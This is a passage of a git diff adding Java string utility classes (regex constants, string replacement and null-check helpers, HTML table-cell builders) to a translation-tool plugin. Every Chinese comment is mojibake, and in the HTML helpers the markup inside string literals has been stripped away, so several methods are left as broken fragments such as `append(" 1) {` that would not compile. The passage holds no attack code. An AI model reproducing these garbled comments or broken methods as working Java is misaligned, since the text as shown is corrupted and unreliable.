匹é…由数字和26个英文字æ¯ç»„æˆçš„字符串. */ + public static final String LETTER_NUMBER_REGEXP = "^[A-Za-z0-9]+$"; + + /** 匹é…由数字ã€26个英文字æ¯æˆ–者下划线组æˆçš„字符串. */ + public static final String LETTER_NUMBER_UNDERLINE_REGEXP = "^\\w+$"; + + /** 匹é…由数字ã€26个英文字æ¯ã€æ±‰å­—或者下划线组æˆçš„字符串. */ + public static final String USERNAME_EN_CN = "^[\\w\u4e00-\u9fa5]*$"; + + /** + * æ·»åŠ æ­£è§„è¡¨è¾¾å¼ (以key->valueçš„å½¢å¼å­˜å‚¨). + * @param regexpName + * 正规表达å¼å称 ` + * @param regexp + * 正规表达å¼å†…容 + */ + public void putRegexpHash(String regexpName, String regexp) { + regexpHash.put(regexpName, regexp); + } + + /** + * 得到正规表达å¼å†…容 (通过keyåæå–出value[正规表达å¼å†…容]). + * @param regexpName + * 正规表达å¼å称 + * @return String + * 正规表达å¼å†…容,如果根æ®å称找ä¸åˆ°å†…容,则返回空串"" + */ + public String getRegexpHash(String regexpName) { + if (regexpHash.get(regexpName) != null) { + return ((String) regexpHash.get(regexpName)); + } else { + System.out.println("在regexpHash中没有此正规表达å¼"); + return ""; + } + } + + /** + * 清除正规表达å¼å­˜æ”¾å•å…ƒ. + */ + public void clearRegexpHash() { + regexpHash.clear(); + return; + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsBasic.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsBasic.java new file mode 100644 index 0000000..a414c20 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsBasic.java @@ -0,0 +1,577 @@ +/** + * StringUtilsBasic.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.string; + +import java.text.MessageFormat; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.Random; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import cn.org.tools.utils.regexp.Regexp; + +/** + * 所有关于字符串的基本æ“作. + * @author simon + * @version + * @since JDK1.6 + */ +public class StringUtilsBasic { + + /** + * 构造方法. + */ + protected StringUtilsBasic() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** + * 用新的字符串替æ¢æ—§å­—符串中需è¦æ›¿æ¢çš„字符(这个方法的特点是忽略了用作正则的特殊字符). + * @param line + * 需è¦åšæ›¿æ¢å¤„ç†çš„字符串,如果为NULL,返回NULL + * @param oldString + * 替æ¢çš„字符串,如果为NULL,返回 line + * @param newString + * 新的字符串,如果为NULL,返回空字符串 + * @return String + * ç»è¿‡å¤„ç†åŽçš„字符串 + */ + public static String replaceString(String line, String oldString, String newString) { + return replaceString(line, oldString, newString, false); + } + + /** + * 用新的字符串替æ¢æ—§å­—符串中需è¦æ›¿æ¢çš„字符(这个方法的特点是忽略了用作正则的特殊字符). + * @param line + * 需è¦åšæ›¿æ¢å¤„ç†çš„字符串,如果为 null,返回 null + * @param oldString + * 替æ¢çš„字符串,如果为 null,返回 line + * @param newString + * 新的字符串,如果为 null,返回空字符串 + * @param trimSingleQuotes + * 是å¦åŽ»é™¤é™¤é¦–尾之外的å•å¼•å· + * @return String + * ç»è¿‡å¤„ç†åŽçš„字符串 + */ + public static String replaceString(String line, String oldString, String newString, boolean trimSingleQuotes) { + if (line == null) { + return null; + } + if (oldString == null) { + return line; + } + if (newString == null) { + newString = ""; + } + + if (trimSingleQuotes) { + newString = newString.replaceAll("\\\\", "\\\\\\\\"); + newString = newString.replaceAll("'", "\\\\'"); + } + + int i = 0; + i = line.indexOf(oldString, i); + if (i >= 0) { + char[] line2 = line.toCharArray(); + char[] newString2 = newString.toCharArray(); + int oLength = oldString.length(); + StringBuffer buf = new StringBuffer(line2.length); + buf.append(line2, 0, i).append(newString2); + i += oLength; + int j = i; + while ((i = line.indexOf(oldString, i)) > 0) { + buf.append(line2, j, i - j).append(newString2); + i += oLength; + j = i; + } + buf.append(line2, j, line2.length - j); + return buf.toString(); + } + return line; + } + + /** + * 空值检测. + * @param data + * è¦æ£€æŸ¥çš„字符串 + * @return String + * 如果传入的字符串为 null,返回空串“â€ï¼Œå¦åˆ™è¿”回 data + */ + public static String checkNullStr(String data) { + if (data == null) { + return ""; + } + return data; + } + + /** + * 如果传入的字符串为 null 或空字符串 则返回 returnValue 空值检测. + * @param data + * è¦æ£€æŸ¥çš„字符串 + * @param returnValue + * data 为空或者 data 中无实际数æ®æ—¶è¿”回的值 + * @return String + * data 为空或者 data 中无实际数æ®æ—¶ï¼Œè¿”回returnValueï¼›å¦åˆ™è¿”回 data + */ + public static String checkNullStr(String data, String returnValue) { + if (data == null || "".equals(data.trim())) { + return returnValue; + } + return data; + } + + /** + * 去除字符串 data 首尾的逗å·. + * @param data + * è¦å¤„ç†çš„字符串 + * @return String + * 如果 data 为空或者 data 中无实际数æ®ï¼Œè¿”回空串"";如果 data 以逗å·å¼€å§‹æˆ–者结æŸï¼Œ + * 则将 data 首尾的逗å·åˆ é™¤åŽè¿”回;å¦åˆ™è¿”回 data + */ + public static String checkStrStartOrEndWithComma(String data) { + if (data == null || "".equals(data.trim())) { + return ""; + } + data = data.trim(); + if (data.startsWith(",")) { + data = data.substring(data.indexOf(",") + 1, data.length()); + } + if (data.endsWith(",")) { + data = data.substring(0, data.lastIndexOf(",")); + } + return data; + } + + /** + * 去除字符串 data 首尾的 regex 字符串 + * @param data + * è¦å¤„ç†çš„字符串 + * @param regex + * data 首尾è¦åˆ é™¤çš„字符串 + * @return String + * 如果 data 为空或者 data 中无实际数æ®ï¼Œè¿”回空串"";如果 data 以 regex 开始或者结æŸï¼Œ + * 则将 data 首尾的 regex 删除åŽè¿”回;å¦åˆ™è¿”回 data + */ + public static String checkStrStartOrEndWithComma(String data, String regex) { + if (data == null || "".equals(data.trim())) { + return ""; + } + data = data.trim(); + if (data.startsWith(regex)) { + data = data.substring(data.indexOf(regex) + 1, data.length()); + } + if (data.endsWith(regex)) { + data = data.substring(0, data.lastIndexOf(regex)); + } + return data; + } + + /** + * 空值检测. + * @param data + * è¦æ£€æŸ¥çš„字符串 + * @return boolean + * false:空值或者空字符串;true:éžç©º + */ + public static boolean checkNull(String data) { + if (data == null || "".equals(data.trim())) { + return false; + } + data = data.replaceAll(" ", ""); + if ("".equals(data.trim())) { + return false; + } + return true; + } + + /** + * 空值检测. + * @param data + * è¦æ£€æŸ¥çš„字符串 + * @return boolean + * false:空值或者空字符串;true:éžç©º + */ + public static boolean checkNull(StringBuffer data) { + if (data == null || "".equals(data.toString().trim())) { + return false; + } + String dataStr = data.toString(); + dataStr = dataStr.replaceAll(" ", ""); + if ("".equals(dataStr.trim())) { + return false; + } + return true; + } + + /** + * 清空StringBuffer中的值. + * @param strbf + * 需è¦è¢«æ¸…空的 StringBuffer + * @return StringBuffer + * 清空åŽçš„ StringBuffer + */ + public static StringBuffer clearStringBuffer(StringBuffer strbf) { + return strbf.delete(0, strbf.length()); + } + + /** + * 判断å‚æ•° str 是å¦å­˜åœ¨äºŽå‚æ•° src 中(å³ str 是å¦æ˜¯ src 的一个å­ä¸²). + * @param src + * 用逗å·éš”开的字符串,例如 simon,terry,steven + * @param str + * 用æ¥åˆ¤æ–­æ˜¯å¦å­˜åœ¨çš„å‚数,例如 simon 或者 arlene + * @return boolean + * true 表示存在,false 表示ä¸å­˜åœ¨ï¼›src 或者 str 为空时,返回 false + */ + public static boolean checkExistStr(String src, String str) { + if (!checkNull(src)) { + return false; + } + if (!checkNull(str)) { + return false; + } + return (("," + src + ",").indexOf("," + str + ",") != -1); + } + + /** + * 在字符串 src 中去除字符串 str,并ä¿æŒ str 原有的逗å·éš”开的规则. + * @param src + * 用逗å·éš”开的字符串,例如 simon,terry,steven + * @param str + * 去除的å‚数,例如 simon 或者 arlene + * @return String + * 用逗å·éš”开的字符串。src 或者 str 为空时,返回 stc + */ + public static String removeExistStr(String src, String str) { + if (!checkNull(src) || !checkNull(str)) { + return src; + } + String result = replaceString("," + src + ",", "," + str, ""); + if (result.length() != 1) { + return result.substring(1, result.length() - 1); + } else { + return ""; + } + } + + /** + * 判断两个字符串数组中有没有é‡å¤é¡¹. + * @param str1 + * 字符串数组1 + * @param str2 + * 字符串数组2 + * @return boolean + * true: 有é‡å¤é¡¹ï¼›false:没有é‡å¤é¡¹ã€‚str1 或者 str2 为空时,返回 false + */ + public static boolean checkExist(String[] str1, String[] str2) { + if (str1 == null || str2 == null) { + return false; + } + List list = Arrays.asList(str2); + for (String str : str1) { + if (list.contains(str)) { + return true; + } + } + return false; + } + + /** + * 用字符串数组 replace ä¸­çš„å­—ç¬¦ä¸²åŽ»æ›¿æ¢ source 中的相应字符串. + * 如 source="The disk \"{1}\" contains {0} file(s)." + * replace=new String[]{"1","MyDisk"},则ç»è¿‡è¯¥æ–¹æ³•å¤„ç†åŽçš„字符串为 + * The disk "MyDisk" contains 1 file(s).如果 replace 的长度大于source中的空余ä½ç½®çš„个数(å³source中{0},{1}...的个数), + * 则超过的部分èˆå¼ƒï¼Œå¦‚æžœ source 中无空余ä½ç½®ï¼Œåˆ™è¯¥æ–¹æ³•è¿”回 source + * @param source + * è¦æ›¿æ¢çš„字符串 + * @param replace + * 替æ¢çš„字符串数组 + * @return String + * ç»è¿‡æ›¿æ¢åŽçš„字符串。如果 source 为 null,返回 null;如果 replace 为 null,返回source + */ + public static String replaceString(String source, String[] replace) { + if (source == null) { + return null; + } + MessageFormat message = new MessageFormat(source); + return message.format(replace); + } + + /** + * 检查 str 的长度. + * @param str + * è¦æ£€æŸ¥çš„字符串 + * @return boolean + * 如果 str 中有实际数æ®(å³ str ä¸æ˜¯åªæœ‰ç©ºæ ¼æˆ–者æ¢è¡Œç¬¦ç»„æˆçš„字符串),返回 true,å¦åˆ™è¿”回 false + */ + public static boolean hasLength(String str) { + return str != null && str.trim().length() > 0; + } + + /** + * å°† value 中 按 separator 分隔的字符串数组替æ¢ä¸º map 中的 value 值(map 中的 key 为è¦æ›¿æ¢çš„字符串). + * 如:value="abc-def-ghi",separator="-",map中有一个元素,key 为 abc, value 为 123,则ç»è¿‡è¯¥æ–¹æ³•å¤„ç†åŽ + * 返回的字符串为 "123-def-ghi" + * @param value + * è¦å¤„ç†çš„字符串 + * @param separator + * 分隔符 + * @param map + * key 为 è¦æ›¿æ¢çš„字符串(也是 value 中按 separator 拆分的字符串数组中的æŸä¸€é¡¹),value 为 新的字符串 + * @return String + * ç»è¿‡å¤„ç†åŽçš„字符串,如果 map 为空,返回 value; 如果 map 中无 value 中按 separator 拆分的字符串数组中的 + * ä»»æ„一项(å³æ²¡æœ‰å¯æ›¿æ¢çš„字符串),则返回 value + */ + public static String replaceSeparator(String value, String separator, Map map) { + if (map == null || map.size() == 0) { + return value; + } + StringBuilder sb = new StringBuilder(); + String[] valueSplit = value.split(separator); + for (int i = 0; i < valueSplit.length; i++) { + String replace = map.get(valueSplit[i]); + if (null != replace && !"".equals(replace)) { + sb.append(replace); + } else { + sb.append(valueSplit[i]); + } + if (i < valueSplit.length - 1) { + sb.append(separator); + } + } + return sb.toString(); + } + + /** + * 获å–字符串 str 在字符串 srcStr 中出现第index次的ä½ç½®ï¼Œindex范围ä¸ç¬¦åˆé€»è¾‘返回-1. + * 如:indexOf("abcabdabe","ab",2)=6 + * @param srcStr + * ä»»æ„字符串 + * @param str + * è¦æœç´¢çš„å­å­—符串 + * @param index + * str 在 srcStr 中出现的次数 + * @return int + * str 在 srcStr 中出现第index次的ä½ç½® + */ + public static int indexOf(String srcStr, String str, int index) { + if (index == 0) { + return -1; + } + if (index == 1) { + return srcStr.indexOf(str); + } + return srcStr.indexOf(str, indexOf(srcStr, str, index - 1) + str.length()); + } + + /** + * 比较 string 的字符长度与 maxLength 的关系,一个汉字代表两个字符. + * @param string + * ä»»æ„字符串 + * @param maxLength + * 规定的最大长度 + * @return boolean + * 如果 string 的字符长度ä¸å¤§äºŽ maxLength, 返回 true;如果 string 为空,返回 trueï¼›å¦åˆ™è¿”回 false + */ + public static boolean checkMaxLength(String string, int maxLength) { + if (string == null) { + return true; + } + return string.replaceAll("[^\\x00-\\xff]", "**").length() <= maxLength; + } + + /** + * 按规定的长度拆分字符串. + * @param string + * ä»»æ„字符串 + * @param length + * 指定的长度 + * @return String[] + * 按指定长度拆分åŽçš„字符串数组,如果 string 为 null,返回 null + */ + public static String[] splitString(String string, int length) { + if (string == null) { + return null; + } + char[] bytes = string.toCharArray(); + int resultLength = bytes.length / length + 1; + String[] result = new String[resultLength]; + + for (int i = 0; i < resultLength; i++) { + if (i == resultLength - 1) { + result[i] = new String(bytes, i * length, bytes.length - i * length); + } else { + result[i] = new String(bytes, i * length, length); + } + } + return result; + } + + /** + * 获å–éšæœºæ•°å­—符串. + * @return String + * éšæœºæ•°å­—符串. + */ + public static String getRandomStr() { + StringBuilder sb = new StringBuilder(); + sb.append(System.currentTimeMillis()); + sb.append(new Random().nextInt(10000)); + return sb.toString(); + } + + /** + * å°† String 列表转化æˆå­—符串,格å¼æ˜¯ï¼š1,2,3,4,... + * @param list + * è¦å¤„ç†çš„å­—ç¬¦ä¸²é›†åˆ + * @return String + * list 转化åŽçš„字符串,如果 list 为 null 或者 list 中无数æ®ï¼Œè¿”回空串"" + */ + public static String listToString(List list) { + if (list == null || list.size() == 0) { + return ""; + } + String temp = list.toString(); + return temp.substring(1, temp.length() - 1); + } + /** + * å°† String 列表转化æˆå­—符串,格å¼æ˜¯ï¼š'1','2','3','4',... + * @param list + * è¦å¤„ç†çš„å­—ç¬¦ä¸²é›†åˆ + * @return String + * list 转化åŽçš„字符串,如果 list 为 null 或者 list 中无数æ®ï¼Œè¿”回空串"" + */ + public static String listToStringWithSingleQuote(List list) { + if (list == null || list.size() == 0) { + return ""; + } + List newList = new ArrayList(); + for (String temp : list) { + newList.add("'" + temp + "'"); + } + return listToString(newList); + } + + /** + * 将字符串的两端都加上å•å¼•å·('), 如:singleQuote("a")="'a'" + * @param source + * ä»»æ„字符串 + * @return String + * source 两端加上å•å¼•å·çš„字符串 + */ + public static String singleQuote(String source) { + return "'" + source + "'"; + } + + /** + * 将字符串str按中英文分组,如:str="123测试test",则返回值为[1123, 0测试, 1test], + * 其中List中的æ¯ä¸ªå­—符串的首字符为标志ä½ï¼Œ1代表英文,0代表中文;如果str为空字符串,则返回null + * @param str + * ä»»æ„字符串 + * @return List<String> + * str 按中英文分组åŽçš„å­—ç¬¦ä¸²é›†åˆ + */ + public static List getChineseAndEnglish(String str) { + List strList = new ArrayList(); + if (str == null || str.trim().equals("")) { + return null; + } + char[] ch = str.toCharArray(); + for (int i = 0; i < ch.length; i++) { + if (i == 0) { + if (isChinese(ch[i])) { + strList.add("0" + ch[i]); + } else { + strList.add("1" + ch[i]); + } + } else { + if (isChinese(ch[i]) && isChinese(ch[i - 1])) { + String s = strList.get(strList.size() - 1); + s += ch[i]; + strList.remove(strList.size() - 1); + strList.add(s); + } else if (!isChinese(ch[i]) && !isChinese(ch[i - 1])) { + String s = strList.get(strList.size() - 1); + s += ch[i]; + strList.remove(strList.size() - 1); + strList.add(s); + } else { + if (isChinese(ch[i])) { + strList.add("0" + ch[i]); + } else { + strList.add("1" + ch[i]); + } + } + } + } + return strList; + } + + /** + * 判断字符c是å¦ä¸ºä¸­æ–‡ + * @param c + * è¦åˆ¤æ–­çš„字符c + * @return boolean + * true:中文,false:英文 + */ + public static boolean isChinese(char c) { + Character.UnicodeBlock ub = Character.UnicodeBlock.of(c); + if (ub == Character.UnicodeBlock.CJK_UNIFIED_IDEOGRAPHS + || ub == Character.UnicodeBlock.CJK_COMPATIBILITY_IDEOGRAPHS + || ub == Character.UnicodeBlock.CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A + || ub == Character.UnicodeBlock.GENERAL_PUNCTUATION //GENERAL_PUNCTUATION åˆ¤æ–­ä¸­æ–‡çš„â€œå· + || ub == Character.UnicodeBlock.CJK_SYMBOLS_AND_PUNCTUATION //CJK_SYMBOLS_AND_PUNCTUATION åˆ¤æ–­ä¸­æ–‡çš„ã€‚å· + || ub == Character.UnicodeBlock.HALFWIDTH_AND_FULLWIDTH_FORMS) //HALFWIDTH_AND_FULLWIDTH_FORMS åˆ¤æ–­ä¸­æ–‡çš„ï¼Œå· + { + return true; + } + return false; + } + + /** + * 判断字符串是å¦æ˜¯ç”±å°æ•°ç»„æˆ + * @param str + * è¦æ£€æŸ¥çš„字符串 + * @return boolean + * true: str ç”±å°æ•°ç»„æˆ + */ + public static boolean isFloat(String str) { + Pattern patternFig = Pattern.compile(Regexp.RATIONAL_NUMBERS_REGEXP); + Matcher matcherFig = patternFig.matcher(str); + return matcherFig.matches(); + } + + /** + * 判断字符串是å¦ä¸ºæ—¥æœŸ + * @param str + * è¦åˆ¤æ–­çš„字符串 + * @param format + * 日期格å¼ï¼ŒæŒ‰è¯¥æ ¼å¼æ£€æŸ¥å­—符串 + * @return boolean + * 符åˆä¸ºtrue,ä¸ç¬¦åˆä¸ºfalse + */ + public static boolean isDate(String str, String format) { + if (hasLength(str)) { + SimpleDateFormat formatter = new SimpleDateFormat(format); + formatter.setLenient(false); + try { + formatter.format(formatter.parse(str)); + } catch (Exception e) { + return false; + } + return true; + } + return false; + } + +} \ No newline at end of file diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsHtml.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsHtml.java new file mode 100644 index 0000000..53d3332 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/string/StringUtilsHtml.java @@ -0,0 +1,646 @@ +/** + * StringUtilsHtml.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.string; + +import java.util.ArrayList; + +/** + * 所有关于 HTML 文档的基本æ“作. + * @author Terry + * @version + * @since JDK1.6 + */ +public class StringUtilsHtml extends StringUtilsBasic { + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的表头。 + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param width + * å•å…ƒæ ¼çš„宽度 + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdHead(String value, String align, String width, int colspan, int rowspan) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append(" 1) { + htmlStr.append("colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append("rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    " + value + "

    "); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的表头,此ç§æ–¹å¼å¯¹åˆ›å»ºçš„å•å…ƒæ ¼è®¾ç½®äº†æ ·å¼(若使表头固定,widthå‚æ•°å¯ä»¥ä¼ å…¥"0%")。 + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param width + * å•å…ƒæ ¼çš„宽度 + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdHead2(String value, String align, String width, int colspan, int rowspan) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append(" 0) { + htmlStr.append(" width='" + width + "'"); + } + htmlStr.append(" style='BORDER-RIGHT: #555 1px solid;BORDER-TOP: #fff 1px solid;BORDER-BOTTOM: #555 1px solid;BORDER-LEFT: #fff 1px solid;TEXT-ALIGN:center;font-size:10pt'"); + if (colspan > 1) { + htmlStr.append("colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append("rowspan='" + rowspan + "'"); + } + htmlStr.append(">" + value + ""); + return htmlStr.toString(); + } + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的表头。 + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param width + * å•å…ƒæ ¼çš„宽度 + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @param fontsize + * å­—ä½“å¤§å° + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdHead(String value, String align, String width, int colspan, int rowspan, int fontsize) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append(" 1) { + htmlStr.append("colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append("rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    " + value + "

    "); + return htmlStr.toString(); + } + + /** + * 获得 html 的头. + * @return String + * html 的头. + */ + public static String getHtmlHead() { + StringBuilder htmlStr = new StringBuilder(); + htmlStr + .append(""); + return htmlStr.toString(); + } + + /** + * 获得 html 的头,此方å¼å¯¹ html 文档规定了命å空间 + * @return the String + * html 的头. + */ + public static String getHtmlHead2() { + StringBuilder htmlStr = new StringBuilder(); + htmlStr + .append(""); + return htmlStr.toString(); + } + + /** + * 获得 html çš„ DOCTYPE 标签 + * @return String + * html çš„ DOCTYPE 标签 + */ + public static String getHtmlDoctype() { + StringBuilder htmlStr = new StringBuilder(); + htmlStr + .append(""); + return htmlStr.toString(); + } + + /** + * 获得 html çš„ css æ ·å¼ + * @return String + * 字符串形å¼çš„ css æ ·å¼ + */ + public static String getHtmlCssStyle() { + StringBuilder htmlStr = new StringBuilder(); + + htmlStr.append("\n"); + + return htmlStr.toString(); + } + /** + * 获得 html æ ¼å¼çš„ table 标签。 + * @return String + * html æ ¼å¼çš„ table 标签。 + */ + public static String getHtmlTable() { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的å•å…ƒæ ¼ã€‚ + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param width + * å•å…ƒæ ¼çš„宽度 + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdBody(String value, String align, String width, int colspan, int rowspan) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的å•å…ƒæ ¼ã€‚ + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdBody(String value, String align, int colspan, int rowspan) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的å•å…ƒæ ¼ã€‚ + * 该方法在 value 的两端分别加了 num 个空格,目的是在固定表头的情况下ä¿è¯åˆ—宽与表头列宽一致 + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @param num + * 在 value 两端所加空格的个数 + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdBodyAddBlank(String value, String align, int colspan, int rowspan, int num) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的å•å…ƒæ ¼ã€‚ + * 该方法在 value 的两端分别加了 num 个空格,目的是在固定表头的情况下ä¿è¯åˆ—宽与表头列宽一致 + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @param num + * 在 value 两端所加空格的个数 + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdBodyAddBlank(String value, String align, int colspan, int rowspan, int num, boolean isWrap) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的å•å…ƒæ ¼ã€‚ + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param width + * å•å…ƒæ ¼çš„宽度 + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @param fontsize + * å­—ä½“å¤§å° + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdBody(String value, String align, String width, int colspan, int rowspan, int fontsize) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的å•å…ƒæ ¼ã€‚ + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param width + * å•å…ƒæ ¼çš„宽度 + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @param fontsize + * å­—ä½“å¤§å° + * @param id + * å•å…ƒæ ¼çš„ id + * @param display + * 显示框类型 + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdBody(String value, String align, String width, int colspan, int rowspan, + int fontsize, String id, String display) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + return htmlStr.toString(); + } + + /** + * 获得 html æ ¼å¼çš„å•å…ƒæ ¼ï¼Œç”¨äºŽè®¾ç½® table 中的å•å…ƒæ ¼ã€‚ + * @param value + * å•å…ƒæ ¼çš„值 + * @param align + * 对é½æ–¹å¼ã€‚较常用的三个值:"center","left","right" + * @param width + * å•å…ƒæ ¼çš„宽度 + * @param color + * å•å…ƒæ ¼çš„背景颜色 + * @param colspan + * å•å…ƒæ ¼æ‰€å åˆ—æ•° + * @param rowspan + * å•å…ƒæ ¼æ‰€å è¡Œæ•° + * @param bold + * 是å¦åŠ ç²— + * @return String + * html æ ¼å¼çš„ td 标签 + */ + public static String getHtmlTdBody(String value, String align, String width, String color, int colspan, + int rowspan, boolean bold) { + StringBuilder htmlStr = new StringBuilder(); + htmlStr.append("\n"); + } else { + htmlStr.append(">

    " + value + "

    \n"); + } + return htmlStr.toString(); + } + + /** + * 返回带颜色的字符串. + * @param data + * ä»»æ„字符串 + * @param color + * 颜色å(如“redâ€),多个颜色之间以逗å·åˆ†éš” + * @return String + * 带颜色的字符串. + */ + public static String getStrByColor(String data, String color) { + String result = ""; + if (!StringUtilsBasic.checkNull(color)) { + return data; + } else { + if (color.indexOf(",") > -1) { + result = "" + data + ""; + } else { + result = "" + data + ""; + } + } + return result; + } + + /** + * 返回æ¢è¡ŒåŽçš„字符串,用于表头固定的表格中的æŸä¸€åˆ— + * @param value + * è¦å¤„ç†çš„字符串 + * @param perRowLen + * æ¯è¡Œçš„长度 + * @return ; + */ + public static String getWrapString(String value, int perRowLen) { + int inputLen = value.getBytes().length; + if (inputLen > perRowLen) { + + String input2 = value.replace(",", "").replace("。", "").replace("ï¼", "").replace("……", "").replace("ï¼»", "") + .replace("ï¼½", "").replace("(", "").replace(")", "").replace("“", "").replace("â€", "").replace("?", "") + .replace("ã€", "").replace("ï¼›", "").replace(":", "").replace("‘", "").replace("’", "").replace("《", "") + .replace("》", "").replace("ï½›", "").replace("ï½", "").replace("——", ""); + if (input2.length() == input2.getBytes().length && value.contains(" ")) { + //input 为英文 + //å°†æ¯ä¸ªå•è¯æ”¾è¿›æ•°ç»„中 + String[] inputWord = value.split(" "); + String text = ""; + //存放æ¯è¡Œçš„æ•°æ® + ArrayList txtList = new ArrayList(); + String[] signArr = new String[]{",", ",", ".", "。", "!", "ï¼", "……", "?", "?", "/"}; + for (int i = 0; i < inputWord.length; i++) { + String str = inputWord[i]; + if (text.length() < perRowLen && text.length() + str.length() > perRowLen) { + boolean isContainSign = false; + //判断str是å¦åŒ…å«æ ‡ç‚¹ç¬¦å· + for (String sign : signArr) { + if (str.contains(sign)) { + String str1 = str.substring(0, str.lastIndexOf(sign) + 1); + txtList.add(text + " " + str1); + text = str.substring(str.lastIndexOf(sign) + 1); + isContainSign = true; + break; + } + } + if (!isContainSign && text.length() + str.length() > perRowLen + 5) { + txtList.add(text); + text = 